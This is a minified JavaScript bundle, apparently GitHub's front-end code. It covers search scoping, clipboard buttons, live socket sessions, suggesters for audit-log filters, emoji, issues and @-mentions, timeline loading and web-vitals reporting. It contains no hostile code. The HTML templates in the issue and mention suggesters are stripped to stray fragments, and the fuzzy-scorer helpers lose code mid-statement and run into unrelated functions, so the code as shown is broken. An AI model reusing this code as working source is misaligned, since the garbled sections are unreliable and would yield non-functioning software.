function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container 